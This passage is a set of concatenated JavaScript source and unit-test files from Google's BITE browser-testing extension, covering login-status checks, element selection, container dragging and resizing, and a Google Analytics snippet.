elementObj.element; var position = goog.style.getPageOffset(element); var dimension = goog.style.getSize(element); if (x >= position.x && x < position.x + dimension.width && y >= position.y && y < position.y + dimension.height) { data.push(elementObj.info); } } return data; }; /** * Remove an element from the list. * @param {!Element} element The element to remove. */ bite.client.ElementMapper.prototype.remove = function(element) { for (var i = 0; i < this.elements_.length; ++i) { if (this.elements_[i].element == element) { this.elements_.splice(i, 1); return; } } }; /** * Remove duplicate element references from the list in case one did not ensure * this to be the case. */ bite.client.ElementMapper.prototype.removeDuplicates = function() { var oldElements = this.elements_; this.elements_ = []; for (var i = 0; i < oldElements.length; ++i) { var element = oldElements[i].element; var found = false; for (var j = 0; j < this.elements_.length; ++j) { if (this.elements_[j].element == element) { found = true; break; } } if (!found) { this.elements_.push(oldElements[i]); } } };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Handles login interactions between the * bite client and the server. * * @author michaelwill@google.com (Michael Williamson) */ goog.provide('bite.LoginManager'); goog.require('bite.common.net.xhr.async'); goog.require('bite.options.constants'); goog.require('bite.options.data'); goog.require('goog.Uri'); goog.require('goog.json'); goog.require('goog.string'); /** * Singleton class for handling interactions with the server. * @constructor * @export */ bite.LoginManager = function() { /** * The current logged in user. * @type {string} * @private */ this.username_ = ''; /** * The login or out url. * @type {string} * @private */ this.loginOrOutUrl_ = ''; }; goog.addSingletonGetter(bite.LoginManager); /** * Url used to check the login status of the current user. * @type {string} * @private */ bite.LoginManager.CHECK_LOGIN_STATUS_PATH_ = '/check_login_status'; /** * Retrieves the current user, checking the server on every * call. * @param {function({success: boolean, url: string, username: string})} * callback A callback which will be invoked * with a loginOrOutUrl that can be used by the client and optionally * the username, if it exists. * @export */ bite.LoginManager.prototype.getCurrentUser = function(callback) { if (this.username_) { // If the username exists, no need to send an additional ping to server, // if the sync issue happens, we should periodically ping server to // refresh. callback(this.buildResponseObject_( true, this.loginOrOutUrl_, this.username_)); return; } var server = bite.options.data.get(bite.options.constants.Id.SERVER_CHANNEL); var url = goog.Uri.parse(server); url.setPath(bite.LoginManager.CHECK_LOGIN_STATUS_PATH_); bite.common.net.xhr.async.get(url.toString(), goog.bind(this.getCurrentUserCallback_, this, callback)); }; /** * Callback invoked when the getCurrentUser request finishes. * @param {function({success: boolean, url: string, username: string})} * operationFinishedCallback A callback invoked on completion. * @param {boolean} success Whether or not the request was successful. * @param {string} data The data from the request or an error string. * @private */ bite.LoginManager.prototype.getCurrentUserCallback_ = function(operationFinishedCallback, success, data) { var responseObj = null; try { if (!success) { throw ''; } var response = goog.json.parse(data); var loginOrOutUrl = response['url'] || ''; if (!goog.string.startsWith(loginOrOutUrl, 'http')) { // The dev appengine server returns a login url that is simply a path // on the current dev server url whereas production returns // a path that is a fully qualified url. var optionId = bite.options.constants.Id.SERVER_CHANNEL; var server = bite.options.data.get(optionId); loginOrOutUrl = server + loginOrOutUrl; } this.username_ = response['user'] || ''; this.loginOrOutUrl_ = loginOrOutUrl; responseObj = this.buildResponseObject_( true, loginOrOutUrl, this.username_); } catch (e) { responseObj = this.buildResponseObject_(false, '', ''); } operationFinishedCallback(responseObj); }; /** * Helper utility that wraps up a response object. * @return {{success: boolean, url: string, username: string}} * @private */ bite.LoginManager.prototype.buildResponseObject_ = function( success, url, username) { return { 'success': success, 'url': url, 'username': username }; };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Tests for the NewBug element selector. * * @author ralphj@google.com (Julie Ralph) */ goog.require('bite.client.ElementSelector'); goog.require('common.client.RecordModeManager'); var element = null; var mockCaller = null; var elementSelector = null; /** * Stores the element returned by the element selector. * @constructor * @export */ mockCallBack = function() { /** * The element that was returned. * @type {Element} */ this.element = null; }; /** * Sets the element of the mockCallBack. * @param {Element} element The element to store. */ mockCallBack.prototype.callback = function(element) { this.element = element; }; function setUp() { initChrome(); element = goog.dom.createDom( goog.dom.TagName.DIV, {'id': 'test-element', 'style': 'position:fixed;top:0;left:0;width:50px;height:50px'}); goog.dom.appendChild(goog.dom.getDocument().body, element); mockCaller = new mockCallBack(); elementSelector = new bite.client.ElementSelector(); } function tearDown() { goog.dom.removeNode(element); element = null; mockCaller = null; elementSelector = null; goog.events.removeAll(); } function testClickElement() { elementSelector.startRecording( goog.bind(mockCaller.callback, mockCaller)); assertTrue(elementSelector.isActive()); elementSelector.recordModeManager_.currElement_ = element; elementSelector.recordModeManager_.clickOverride_(); assertEquals(element.id, mockCaller.element.id); } function testCancel() { elementSelector.startRecording( goog.bind(mockCaller.callback, mockCaller)); elementSelector.cancelSelection(); assertFalse(elementSelector.isActive()); assertNull(mockCaller.element); }
JavaScript
var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-20998404-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Author: michaelwill@google.com (Michael Williamson) goog.require('bite.LoginManager'); goog.require('bite.options.constants'); goog.require('bite.options.data'); goog.require('goog.json'); goog.require('goog.net.XhrIo'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.asserts'); goog.require('goog.testing.net.XhrIo'); goog.require('goog.testing.recordFunction'); var stubs = null; var loginManager = null; function setUp() { loginManager = new bite.LoginManager(); stubs = new goog.testing.PropertyReplacer(); stubs.replace(goog.net.XhrIo, 'send', goog.testing.net.XhrIo.send); var mockLocalStorage = {getItem: function() {return 'http://hud.test'}}; stubs.set(goog.global, 'localStorage', mockLocalStorage); } function tearDown() { stubs.reset(); } function testGetCurrentUser() { var expectedPath = goog.Uri.parse(bite.LoginManager.CHECK_LOGIN_STATUS_PATH_); var callback = new goog.testing.recordFunction(); loginManager.getCurrentUser(callback); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; var sentUri = sendInstance.getLastUri(); assertContains(expectedPath, sentUri); var returnedUrl = 'www.test.com'; var returnedUser = 'michaelwill'; var serverResponse = { 'url': returnedUrl, 'user': returnedUser }; sendInstance.simulateResponse(200, goog.json.serialize(serverResponse)); assertEquals(1, callback.getCallCount()); var server = bite.options.data.get(bite.options.constants.Id.SERVER_CHANNEL); var callbackArgs = callback.getLastCall().getArguments(); var responseObj = callbackArgs[0]; assertContains(returnedUrl, responseObj['url']); assertContains(server, responseObj['url']); assertEquals(returnedUser, responseObj['username']); assertTrue(responseObj['success']); } function testGetCurrentUser_noBiteServerInLoginUrl() { var expectedPath = goog.Uri.parse(bite.LoginManager.CHECK_LOGIN_STATUS_PATH_); var callback = new goog.testing.recordFunction(); loginManager.getCurrentUser(callback); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; var returnedUrl = 'http://www.test.com'; var returnedUser = 'michaelwill'; var returnedObj = { 'url': returnedUrl, 'user': returnedUser }; sendInstance.simulateResponse(200, goog.json.serialize(returnedObj)); assertEquals(1, callback.getCallCount()); var server = bite.options.data.get(bite.options.constants.Id.SERVER_CHANNEL); var callbackArgs = callback.getLastCall().getArguments(); var responseObj = callbackArgs[0]; assertContains(returnedUrl, responseObj['url']); assertNotContains(server, responseObj['url']); assertTrue(responseObj['success']); } function testGetCurrentUser_noUserLoggedIn() { var callback = new goog.testing.recordFunction(); loginManager.getCurrentUser(callback); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; var returnedUrl = 'www.test.com'; var returnedUser = 'michaelwill'; var returnedObj = { 'url': returnedUrl }; sendInstance.simulateResponse(200, goog.json.serialize(returnedObj)); var callbackArgs = callback.getLastCall().getArguments(); var responseObj = callbackArgs[0]; assertContains(returnedUrl, responseObj['url']); assertEquals('', responseObj['username']); assertTrue(responseObj['success']); } function testGetCurrentUser_server400() { var callback = new goog.testing.recordFunction(); loginManager.getCurrentUser(callback); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; sendInstance.simulateResponse(400, ''); var callbackArgs = callback.getLastCall().getArguments(); var responseObj = callbackArgs[0]; assertFalse(responseObj['success']); assertEquals('', responseObj['url']); assertEquals('', responseObj['username']); } function testGetCurrentUser_illegalJson() { var callback = new goog.testing.recordFunction(); loginManager.getCurrentUser(callback); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; sendInstance.simulateResponse(200, 'bla bla bla'); var callbackArgs = callback.getLastCall().getArguments(); var responseObj = callbackArgs[0]; assertFalse(responseObj['success']); assertEquals('', responseObj['url']); assertEquals('', responseObj['username']); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Provides utilities for resizing and dragging a container. * @author ralphj@google.com (Julie Ralph) */ goog.provide('bite.client.Resizer'); goog.require('goog.dom'); goog.require('goog.events'); goog.require('goog.events.EventHandler'); goog.require('goog.style'); /** * Resizing and Dragging management class. Adding a Resizer to an element * adds dragging capabilities as well as resizing on all 4 corners and edges. * The position of the element is restricted to the current viewport, and * the minimum size of the element is determined by MIN_WIDTH and MIN_HEIGHT. * @param {Element} containerElement The element to drag and resize. * @param {Element} dragTarget The element which should be the target for * dragging, e.g. the header bar. * @param {boolean=} opt_dragOnly True if resizers should not be added, * the container should only be dragged. Defaults to false. * @param {function()=} opt_dragReleaseCallback A function to call on drag * release. * @param {function()=} opt_resizeReleaseCallback A function to call on resize * release. * @constructor */ bite.client.Resizer = function(containerElement, dragTarget, opt_dragOnly, opt_dragReleaseCallback, opt_resizeReleaseCallback) { /** * The element to drag and resize. * @type {Element} * @private */ this.containerElement_ = containerElement; /** * The HTML target for dragging. * @type {Element} * @private */ this.dragTarget_ = dragTarget; /** * True if the target should only be dragged, not resized. * @type {boolean} * @private */ this.dragOnly_ = opt_dragOnly || false; /** * Callback on drag release. * @type {function()} * @private */ this.dragReleaseCallback_ = opt_dragReleaseCallback || function() {}; /** * Callback on resize release. * @type {function()} * @private */ this.resizeReleaseCallback_ = opt_resizeReleaseCallback || function() {}; /** * The current side that the container is docked onto. * @type {bite.client.Resizer.Side} * @private */ this.dockSide_ = bite.client.Resizer.Side.NONE; /** * Whether or not currently dragging. * @type {boolean} * @private */ this.isDragging_ = false; /** * Whether or not currently resizing. * @type {boolean} * @private */ this.isResizing_ = false; /** * An array of listener keys for resizing. * @type {Array.<number>} * @private */ this.resizeListenerKeys_ = []; /** * An array of listener keys for dragging. * @type {Array.<number>} * @private */ this.dragListenerKeys_ = []; /** * Handles the event listeners. * @type {goog.events.EventHandler} * @private */ this.eventHandler_ = new goog.events.EventHandler(); /** * The offset of where a user originally clicked when dragging. * @type {{x: number, y: number}} * @private */ this.dragOffset_ = {x: 0, y: 0}; /** * The size of the container when the user originally clicked. * @type {{width: number, height: number}} * @private */ this.unresizedSize_ = {width: 0, height: 0}; /** * The poosition of the container when the user originally clicked. * @type {{x: number, y: number}} * @private */ this.unresizedPosition_ = {x: 0, y: 0}; /** * An object containing the resizer elements, keyed by their cardinal * direction. * @type {{n: Element, ne: Element, e: Element, se: Element, * s: Element, sw: Element, w: Element, nw: Element}} * @private */ this.resizers_ = {n: null, ne: null, e: null, se: null, s: null, sw: null, w: null, nw: null}; if (!this.dragOnly_) { this.addResizers_(); } this.setHandlers_(); this.updateResizerPosition_(); }; /** * The minimum width of the container element. * @type {number} */ bite.client.Resizer.MIN_WIDTH = 200; /** * The minimum height of the container element. * @type {number} */ bite.client.Resizer.MIN_HEIGHT = 150; /** * Sides of the screen that the console can dock onto. * @enum {string} */ bite.client.Resizer.Side = { BOTTOM: 'bottom', LEFT: 'left', RIGHT: 'right', TOP: 'top', NONE: 'none' }; /** * Resize Modes * @enum {string} * @export */ bite.client.Resizer.ResizeModes = { NONE: 'none', E: 'east', SE: 'southeast', S: 'south', SW: 'southwest', W: 'west', NW: 'northwest', N: 'north', NE: 'northeast' }; /** * Returns the size of the container. * @return {{width: number, height: number}} */ bite.client.Resizer.prototype.getSize = function() { return goog.style.getSize(this.containerElement_); }; /** * Returns the position of the container. * @return {{x: number, y: number}} */ bite.client.Resizer.prototype.getPosition = function() { return goog.style.getPosition(this.containerElement_); }; /** * Updates the size of the container. * @param {{width: number, height: number}} size The new size. */ bite.client.Resizer.prototype.updateSize = function(size) { goog.style.setSize(this.containerElement_, size.width, size.height); this.updateResizerPosition_(); }; /** * Updates the position of the container. * @param {{x: number, y: number}} position The new position. */ bite.client.Resizer.prototype.updatePosition = function(position) { goog.style.setPosition(this.containerElement_, position.x, position.y); this.updateResizerPosition_(); }; /** * Validates a value is within a specified bounds, and returns the clamped * value. If the upper and lower bounds are mutually exclusive, clamps to the * lower bound. * @param {number} value The value to validate. * @param {number} lowerBound the lower bound to check against. * @param {number} upperBound the upper cound to check against. * @return {number} validateValue the validated value. * @private */ bite.client.Resizer.prototype.validateBoundedValue_ = function(value, lowerBound, upperBound) { if (value > upperBound) { value = upperBound; } if (value < lowerBound) { value = lowerBound; } return value; }; /** * Ensure the container's height and width are within the minimum parameters. * This function does not update the resizer positions. * @private */ bite.client.Resizer.prototype.enforceMinimumSize_ = function() { if (this.containerElement_.style.height < bite.client.Resizer.MIN_HEIGHT) { this.containerElement_.style.height = bite.client.Resizer.MIN_HEIGHT; } if (this.containerElement_.style.width < bite.client.Resizer.MIN_WIDTH) { this.containerElement_.style.width = bite.client.Resizer.MIN_WIDTH; } }; /** * Changes the style of the container when it is docked to one side of the * screen. * @private */ bite.client.Resizer.prototype.maybeDock_ = function() { var x = goog.style.getPosition(this.containerElement_).x; var y = goog.style.getPosition(this.containerElement_).y; var maxTop = goog.dom.getViewportSize().height - goog.style.getSize(this.containerElement_).height; var maxLeft = goog.dom.getViewportSize().width - goog.style.getSize(this.containerElement_).width; goog.dom.classes.remove(this.containerElement_, 'bite-container-top-dock', 'bite-container-bottom-dock', 'bite-container-left-dock', 'bite-container-right-dock'); if (x <= 0) { this.dockSide_ = bite.client.Resizer.Side.LEFT; goog.dom.classes.add(this.containerElement_, 'bite-container-left-dock'); } else if (y <= 0) { this.dockSide_ = bite.client.Resizer.Side.TOP; goog.dom.classes.add(this.containerElement_, 'bite-container-top-dock'); } else if (x >= maxLeft) { this.dockSide_ = bite.client.Resizer.Side.RIGHT; goog.dom.classes.add(this.containerElement_, 'bite-container-right-dock'); } else if (y >= maxTop) { this.dockSide_ = bite.client.Resizer.Side.BOTTOM; goog.dom.classes.add(this.containerElement_, 'bite-container-bottom-dock'); } else { this.dockSide_ = bite.client.Resizer.Side.NONE; } }; /** * Handles the container being dragged. * @param {Object} e A mouseEvent object from the object being dragged. * @private */ bite.client.Resizer.prototype.dragHandler_ = function(e) { var targetX = e.clientX; var targetY = e.clientY; // Set (targetX, targetY) to the coordinates of the top left corner of the // container. targetX -= this.dragOffset_.x; targetY -= this.dragOffset_.y; // Keep the container bounded within the browser viewport. var maxTop = goog.dom.getViewportSize().height - goog.style.getSize(this.containerElement_).height; var maxLeft = goog.dom.getViewportSize().width - goog.style.getSize(this.containerElement_).width; targetX = this.validateBoundedValue_(targetX, 0, maxLeft); targetY = this.validateBoundedValue_(targetY, 0, maxTop); this.containerElement_.style.left = targetX + 'px'; this.containerElement_.style.top = targetY + 'px'; this.maybeDock_(); }; /** * Handles a mouse up event releasing the container when it's being dragged. * @param {number} startX Start x coordinate of the drag. * @param {number} startY Start y coordinate of the drag. * @param {Object} e A mouseEvent object from the object being dragged. * @private */ bite.client.Resizer.prototype.dragRelease_ = function(startX, startY, e) { while (this.dragListenerKeys_.length > 0) { goog.events.unlistenByKey(this.dragListenerKeys_.pop()); } this.updateResizerPosition_(); this.isDragging_ = false; this.dragReleaseCallback_(); }; /** * Handles mouse events for drag-and-drop. * @param {goog.events.BrowserEvent} e A mouseEvent object from the * container being clicked. * @private */ bite.client.Resizer.prototype.handleDragTarget_ = function(e) { // Do not begin dragging if already resizing or on right click. if (this.isResizing_ || !e.isMouseActionButton()) { return; } var offset = goog.style.getPosition(this.containerElement_); this.dragOffset_ = {x: e.clientX - offset.x, y: e.clientY - offset.y}; this.isDragging_ = true; this.dragListenerKeys_.push(goog.events.listen( goog.global.document, goog.events.EventType.MOUSEMOVE, goog.bind(this.dragHandler_, this))); this.dragListenerKeys_.push(goog.events.listen( goog.global.document, goog.events.EventType.MOUSEUP, goog.bind(this.dragRelease_, this, e.clientX, e.clientY))); // Prevent text from being selected while dragging. e.preventDefault(); }; /** * Adds edge and corner resizers to the container. * @private */ bite.client.Resizer.prototype.addResizers_ = function() { this.resizers_.n = goog.dom.createDom('div', 'n-resizer'); this.resizers_.ne = goog.dom.createDom('div', 'ne-resizer'); this.resizers_.e = goog.dom.createDom('div', 'e-resizer'); this.resizers_.se = goog.dom.createDom('div', 'se-resizer'); this.resizers_.s = goog.dom.createDom('div', 's-resizer'); this.resizers_.sw = goog.dom.createDom('div', 'sw-resizer'); this.resizers_.w = goog.dom.createDom('div', 'w-resizer'); this.resizers_.nw = goog.dom.createDom('div', 'nw-resizer'); var resizers = goog.dom.createDom('div', 'bite-resizers', this.resizers_.n, this.resizers_.ne, this.resizers_.e, this.resizers_.se, this.resizers_.s, this.resizers_.sw, this.resizers_.w, this.resizers_.nw); this.resizers_.n.style.cssText = 'z-index: 70001; height: 7px; cursor: n-resize'; this.resizers_.ne.style.cssText = 'z-index: 70003; width: 15px; height: 15px; cursor: ne-resize'; this.resizers_.e.style.cssText = 'z-index: 70002; width: 7px; cursor: e-resize'; this.resizers_.se.style.cssText = 'z-index: 70003; width: 15px; height: 15px; cursor: se-resize'; this.resizers_.s.style.cssText = 'z-index: 70001; height: 7px; cursor: s-resize'; this.resizers_.sw.style.cssText = 'z-index: 70003; width: 15px; height: 15px; cursor: sw-resize'; this.resizers_.w.style.cssText = 'z-index: 70002; width: 7px; cursor: w-resize'; this.resizers_.nw.style.cssText = 'z-index: 70003; width: 15px; height: 15px; cursor: nw-resize'; var direction; for (direction in this.resizers_) { this.resizers_[direction].style.position = 'fixed'; } resizers.style.position = 'fixed'; goog.dom.appendChild(this.containerElement_, resizers); }; /** * Updates the resizers to fit the current container size and position. * @private */ bite.client.Resizer.prototype.updateResizerPosition_ = function() { if (this.dragOnly_) { return; } // Determinte the x, y coordinates of the container. var winX = this.getPosition().x; var winY = this.getPosition().y; var winH = this.getSize().height; var winW = this.getSize().width; // Move and resize the south resizer. this.resizers_.s.style.top = (winY + winH - 2) + 'px'; this.resizers_.s.style.left = winX + 'px'; this.resizers_.s.style.width = winW + 'px'; // Move and resize the east resizer. this.resizers_.e.style.top = winY + 'px'; this.resizers_.e.style.left = (winX + winW - 2) + 'px'; this.resizers_.e.style.height = winH + 'px'; // Move the south-east resizer. this.resizers_.se.style.top = (winY + winH - 10) + 'px'; this.resizers_.se.style.left = (winX + winW - 10) + 'px'; // Move and resize the west resizer. this.resizers_.w.style.top = winY + 'px'; this.resizers_.w.style.left = (winX - 2) + 'px'; this.resizers_.w.style.height = winH + 'px'; // Move the south-west resizer. this.resizers_.sw.style.top = (winY + winH - 15) + 'px'; this.resizers_.sw.style.left = winX + 'px'; // Move and resize the north resizer. this.resizers_.n.style.top = (winY - 2) + 'px'; this.resizers_.n.style.left = winX + 'px'; this.resizers_.n.style.width = winW + 'px'; // Move the north-west resizer. this.resizers_.nw.style.top = (winY - 5) + 'px'; this.resizers_.nw.style.left = (winX - 2) + 'px'; // Move the north-east resizer. this.resizers_.ne.style.top = winY + 'px'; this.resizers_.ne.style.left = (winX + winW) + 'px'; }; /** * Handles dragging motion while the container is being resized. * @param {bite.client.Resizer.ResizeModes} mode The resizing mode to be in. * @param {Object} e A mouseEvent object from the object being dragged. * @private */ bite.client.Resizer.prototype.resizeHandler_ = function(mode, e) { // Keep the coordinates within the browser viewport and apply an offset. var targetX = this.validateBoundedValue_( e.clientX, 0, goog.dom.getViewportSize().width - 7) - this.dragOffset_.x; var targetY = this.validateBoundedValue_( e.clientY, 0, goog.dom.getViewportSize().height - 7) - this.dragOffset_.y; // Identify and validate the target width and height. var targetWidth = (targetX + this.unresizedSize_.width); var targetHeight = (targetY + this.unresizedSize_.height); if (targetWidth < bite.client.Resizer.MIN_WIDTH) { targetWidth = bite.client.Resizer.MIN_WIDTH; } if (targetHeight < bite.client.Resizer.MIN_HEIGHT) { targetHeight = bite.client.Resizer.MIN_HEIGHT; } // Applying any applicable transformations. if ((mode == bite.client.Resizer.ResizeModes.S) || (mode == bite.client.Resizer.ResizeModes.SE) || (mode == bite.client.Resizer.ResizeModes.SW)) { this.containerElement_.style.height = targetHeight + 'px'; } if ((mode == bite.client.Resizer.ResizeModes.E) || (mode == bite.client.Resizer.ResizeModes.NE) || (mode == bite.client.Resizer.ResizeModes.SE)) { this.containerElement_.style.width = targetWidth + 'px'; } if ((mode == bite.client.Resizer.ResizeModes.W) || (mode == bite.client.Resizer.ResizeModes.NW) || (mode == bite.client.Resizer.ResizeModes.SW)) { // If the window width is going to be too small, ignore resizing. targetWidth = (this.unresizedSize_.width - targetX); if (targetWidth >= bite.client.Resizer.MIN_WIDTH) { this.containerElement_.style.left = (this.unresizedPosition_.x + targetX) + 'px'; this.containerElement_.style.width = targetWidth + 'px'; } } if ((mode == bite.client.Resizer.ResizeModes.N) || (mode == bite.client.Resizer.ResizeModes.NW) || (mode == bite.client.Resizer.ResizeModes.NE)) { // If the window height is going to be too small, ignore resizing. targetHeight = (this.unresizedSize_.height - targetY); if (targetHeight >= bite.client.Resizer.MIN_HEIGHT) { this.containerElement_.style.top = (this.unresizedPosition_.y + targetY) + 'px'; this.containerElement_.style.height = targetHeight + 'px'; } } this.maybeDock_(); }; /** * Handles the user initiating a resize by clicking and dragging. * @param {bite.client.Resizer.ResizeModes} mode The resizing mode to be in. * @param {goog.events.BrowserEvent} e A mouseEvent object from the object * being dragged. * @private */ bite.client.Resizer.prototype.handleResizeTarget_ = function(mode, e) { // Do not begin resizing if already dragging or on right click. if (this.isDragging_ || !e.isMouseActionButton()) { return; } this.dragOffset_ = {x: e.clientX, y: e.clientY}; this.unresizedSize_ = this.getSize(); this.unresizedPosition_ = this.getPosition(); this.isResizing_ = true; this.resizeListenerKeys_.push(goog.events.listen( goog.global.document, goog.events.EventType.MOUSEMOVE, goog.bind(this.resizeHandler_, this, mode))); this.resizeListenerKeys_.push(goog.events.listen( goog.global.document, goog.events.EventType.MOUSEUP, goog.bind(this.resizeRelease_, this))); // Prevent text from being selected while resizing. e.preventDefault(); }; /** * Handles a mouse up event releasing the container when it's being resized. * @param {Object} e A mouseEvent object from the object being dragged. * @private */ bite.client.Resizer.prototype.resizeRelease_ = function(e) { this.updateResizerPosition_(); while (this.resizeListenerKeys_.length > 0) { goog.events.unlistenByKey(this.resizeListenerKeys_.pop()); } this.isResizing_ = false; this.resizeReleaseCallback_(); }; /** * Sets the handlers for the resizers and the dragging target. * @private */ bite.client.Resizer.prototype.setHandlers_ = function() { // Add handler for the drag target. this.eventHandler_.listen(this.dragTarget_, goog.events.EventType.MOUSEDOWN, goog.bind(this.handleDragTarget_, this)); // All events set below are only if resizing is being used. if (this.dragOnly_) { return; } // Add handlers for the corner and edge resizers. this.eventHandler_.listen(this.resizers_.e, goog.events.EventType.MOUSEDOWN, goog.bind(this.handleResizeTarget_, this, bite.client.Resizer.ResizeModes.E)); this.eventHandler_.listen(this.resizers_.se, goog.events.EventType.MOUSEDOWN, goog.bind(this.handleResizeTarget_, this, bite.client.Resizer.ResizeModes.SE)); this.eventHandler_.listen(this.resizers_.s, goog.events.EventType.MOUSEDOWN, goog.bind(this.handleResizeTarget_, this, bite.client.Resizer.ResizeModes.S)); this.eventHandler_.listen(this.resizers_.sw, goog.events.EventType.MOUSEDOWN, goog.bind(this.handleResizeTarget_, this, bite.client.Resizer.ResizeModes.SW)); this.eventHandler_.listen(this.resizers_.w, goog.events.EventType.MOUSEDOWN, goog.bind(this.handleResizeTarget_, this, bite.client.Resizer.ResizeModes.W)); this.eventHandler_.listen(this.resizers_.n, goog.events.EventType.MOUSEDOWN, goog.bind(this.handleResizeTarget_, this, bite.client.Resizer.ResizeModes.N)); this.eventHandler_.listen(this.resizers_.nw, goog.events.EventType.MOUSEDOWN, goog.bind(this.handleResizeTarget_, this, bite.client.Resizer.ResizeModes.NW)); this.eventHandler_.listen(this.resizers_.ne, goog.events.EventType.MOUSEDOWN, goog.bind(this.handleResizeTarget_, this, bite.client.Resizer.ResizeModes.NE)); };
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Tests for the code on the background script file. * * @author alexto@google.com (Alexis O. Torres) */ goog.require('Bite.Constants'); goog.require('goog.json'); goog.require('goog.net.XhrIo'); goog.require('goog.structs.Queue'); goog.require('goog.testing.MockControl'); goog.require('goog.testing.MockUserAgent'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.net.XhrIo'); goog.require('bite.client.Background'); var mocks_ = null; var stubs_ = null; var mockUserAgent_ = null; var background = null; function setUp() { initChrome(); mocks_ = new goog.testing.MockControl(); stubs_ = new goog.testing.PropertyReplacer(); var mockLocalStorage = {getItem: function() {return 'http://hud.test'}, setItem: function() {}, removeItem: function() {}}; stubs_.set(goog.global, 'localStorage', mockLocalStorage); var mockRpf = mocks_.createStrictMock(rpf.Rpf); stubs_.set(rpf.Rpf, 'getInstance', function() { return mockRpf; }); stubs_.set(bite.client.Background, 'logEvent', function() {}); background = new bite.client.Background(); stubs_.set(goog.net, 'XhrIo', goog.testing.net.XhrIo); } function tearDown() { stubs_.reset(); if (mockUserAgent_) { mockUserAgent_.uninstall(); } } function getLastXhrIo() { var sendInstances = goog.testing.net.XhrIo.getSendInstances(); var xhr = sendInstances[sendInstances.length - 1]; return xhr; } function testBadgeBegin() { background.updateBadge_( new ChromeTab(), {action: bite.client.Background.FetchEventType.FETCH_BEGIN}); assertEquals('...', chrome.browserAction.details.text); } function testBadgeEndZero() { background.updateBadge_( new ChromeTab(), {action: bite.client.Background.FetchEventType.FETCH_END, count: 0}); assertEquals('0', chrome.browserAction.details.text); } function testBadgeEndNotZero() { background.updateBadge_( new ChromeTab(), {action: bite.client.Background.FetchEventType.FETCH_END, count: 25}); assertEquals('25', chrome.browserAction.details.text); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unifies the bite.project subsystem within the context of a * background script. The constructor as a the initializer for the subsystem * causes the rest of the system to initialize. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.project.Background'); /** * Constructs an object that manages the project UX within the background. * @constructor * @export */ bite.project.Background = function() { }; goog.addSingletonGetter(bite.project.Background); /** * Handles messages for the project subsystem and redirects as appropriate. * @param {!Object} request The data sent. * @param {MessageSender} sender An object containing information about the * script context that sent the request. * @param {function(!*): void} response Optional function to call when the * request completes; only call when appropriate. * @private */ bite.project.Background.prototype.onRequest_ = function(request, sender, response) { }; /** * Create the content instance to initialize the project subsystem in the * context of a content script. */ bite.project.Background.getInstance();
JavaScript
